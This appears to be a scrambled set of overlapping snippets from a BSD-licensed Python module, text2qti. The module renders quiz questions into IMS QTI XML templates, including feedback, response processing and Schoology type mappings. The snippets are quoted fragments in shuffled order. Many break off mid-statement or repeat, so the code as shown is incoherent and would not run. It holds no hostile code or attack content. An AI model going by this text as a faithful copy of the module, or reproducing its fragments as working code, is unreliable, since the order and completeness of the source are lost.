points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type", "<questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield>", "ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material>", "is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START)", "'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None:", "</render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material> <mattext", "minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\ <respcondition continue=\"Yes\">", "continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if", "ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\"", "<conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK =", "else: raise ValueError #Type Change for Schoology CC Import if", "resprocessing.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif", "<resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK", "ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and>", "= ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte>", "<selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> ''' GROUP_END", "None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'multiple_answers_question': resprocessing =", "None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for choice in question.choices: if", "texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' def assessment(*, quiz: Quiz, assessment_identifier:", "if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): for choice in", "</qtimetadatafield> </qtimetadata> </itemmetadata> ''' ITEM_METADATA_ESSAY = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD =", "''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal>", "ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/>", "continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback", "== 'essay_question': typechange = 'cc.essay.v0p1' else: typechange = question.type xml.append(item_metadata.format(question_type=typechange,", "<conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition>", "is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml))", "''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar>", "<conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK =", "<varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK =", "</presentation> ''' ITEM_PRESENTATION_NUM = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material>", "</qtimetadata> <section ident=\"root_section\"> ''' AFTER_ITEMS = '''\\ </section> </assessment> </questestinterop>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material> <mattext", "'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif question.type == 'true_false_question': typechange =", "= '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat>", "'short_answer_question', 'multiple_answers_question'): for choice in question.choices: if choice.feedback_raw is not", "resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not None:", "== 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK)", "continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition>", "'''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar", "# # Licensed under the BSD 3-Clause License: # http://opensource.org/licenses/BSD-3-Clause", "ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE =", "elif question.type == 'short_answer_question': xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml))", "xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not None: xml.append(ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif", "</itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext", "2021, <NAME> # Copyright (c) 2020, <NAME> # All rights", "= question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question',", "= ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material>", "respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK =", "('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw is", "choice in question.choices: if choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}', feedback=choice.feedback_html_xml))", "''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext>", "ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM.replace('{original_answer_ids}', '') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material>", "xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue", "</conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition", "<conditionvar> <other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END = '''\\ </resprocessing> '''", "GroupEnd, TextRegion BEFORE_ITEMS = '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\"", "<qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>text_only_question</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel>", "GROUP_START = '''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering> <selection> <selection_number>{pick}</selection_number> <selection_extension>", "resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not None:", "'file_upload_question'): if question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is", "ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext>", "else: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct", "in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue", "# # Copyright (c) 2021, <NAME> # Copyright (c) 2020,", "xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if question.type in ('true_false_question', 'multiple_choice_question',", "resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is", "{varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> '''", "<varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> '''", "not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY)", "'''\\ </section> ''' TEXT = '''\\ <item ident=\"{ident}\" title=\"{text_title_xml}\"> <itemmetadata>", "None: xml.append(ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) else: raise ValueError if question.type in ('true_false_question',", "<selection_number>{pick}</selection_number> <selection_extension> <points_per_item>{points_per_item}</points_per_item> </selection_extension> </selection> </selection_ordering> ''' GROUP_END = '''\\", "is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw", "if question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation =", "''' AFTER_ITEMS = '''\\ </section> </assessment> </questestinterop> ''' GROUP_START =", "question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type ==", "question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not None:", "texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib>", "continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> '''", "</respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal>", "</respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar>", "respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\", "None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}'))", "not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if", "else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing)", "coding: utf-8 -*- # # Copyright (c) 2021, <NAME> #", "START_ITEM = '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM = '''\\", "elif question.type == 'file_upload_question': item_metadata = ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}'", "ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK = ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK = '''\\", "respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/>", "choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if", "= ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\ <presentation>", "question.type == 'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is", "continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK", "question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK", "<and> {varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT", "<conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL =", "('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice =", "'''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback>", "ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type == 'essay_question': item_metadata =", "elif question.type == 'file_upload_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None:", "elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None:", "<material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\", "''' ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\"", "= '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat>", "if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices:", "</selection> </selection_ordering> ''' GROUP_END = '''\\ </section> ''' TEXT =", "raise TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not", "points_possible=question.points_possible, original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if", "varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT.format(ident=f'text2qti_choice_{choice.id}')) else: varequal.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else:", "respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/>", "question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif", "not None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None: if question.numerical_exact is", "</flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\ <itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material>", "</qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata>", "not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'short_answer_question': resprocessing", "item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml))", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK =", "else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is", "xml.extend(resprocessing) elif question.type == 'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if", "rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\", "for Schoology CC Import if question.type == 'multiple_choice_question': typechange =", "'''\\ <itemmetadata> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_profile</fieldlabel> <fieldentry>{question_type}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>{points_possible}</fieldentry>", "feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "</respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte>", "<material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL = '''\\", "'''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar> <setvar action=\"Set\"", "if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type in ('true_false_question',", "</render_choice> </response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\"> <material>", "is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not", "question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if", "</respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal", "</response_lid> </presentation> ''' ITEM_PRESENTATION_MCTF_CHOICE = '''\\ <response_label ident=\"{ident}\"> <material> <mattext", "resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif", "Schoology CC Import if question.type == 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1'", "None: xml.append(ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK) if question.correct_feedback_raw is None: if question.numerical_exact is None:", "'multiple_choice_question', 'short_answer_question', 'multiple_answers_question', 'numerical_question', 'essay_question', 'file_upload_question'): if question.feedback_raw is not", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_NO_FEEDBACK", "ITEM_RESPROCESSING_ESSAY_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK", "</presentation> ''' ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material>", "</respcondition> ''' ITEM_RESPROCESSING_END = '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\", "= ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in question.choices) elif", "<setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK =", "resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif", "<qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry>{original_answer_ids}</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata>", "<respcondition continue=\"Yes\"> <conditionvar> <other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> '''", "'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif question.type ==", "question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices: if", "''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext>", "<mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/>", "<fieldlabel> qmd_assessmenttype </fieldlabel> <fieldentry> Examination </fieldentry> </qtimetadatafield> </qtimetadata> <section ident=\"root_section\">", "else: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is None: item_resprocessing_num_set_correct", "<itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> '''", "question.type == 'short_answer_question': typechange = 'cc.fib.v0p1' elif question.type == 'multiple_answers_question':", "xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 